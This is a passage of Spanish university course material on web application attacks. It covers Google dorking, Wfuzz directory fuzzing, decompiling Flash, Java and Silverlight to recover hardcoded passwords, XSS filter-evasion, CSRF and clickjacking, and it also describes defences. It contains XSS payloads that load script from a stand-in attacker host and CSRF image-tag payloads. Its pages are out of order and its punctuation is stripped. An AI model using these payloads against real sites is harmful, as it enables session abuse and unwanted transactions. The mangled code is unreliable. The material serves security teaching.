eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
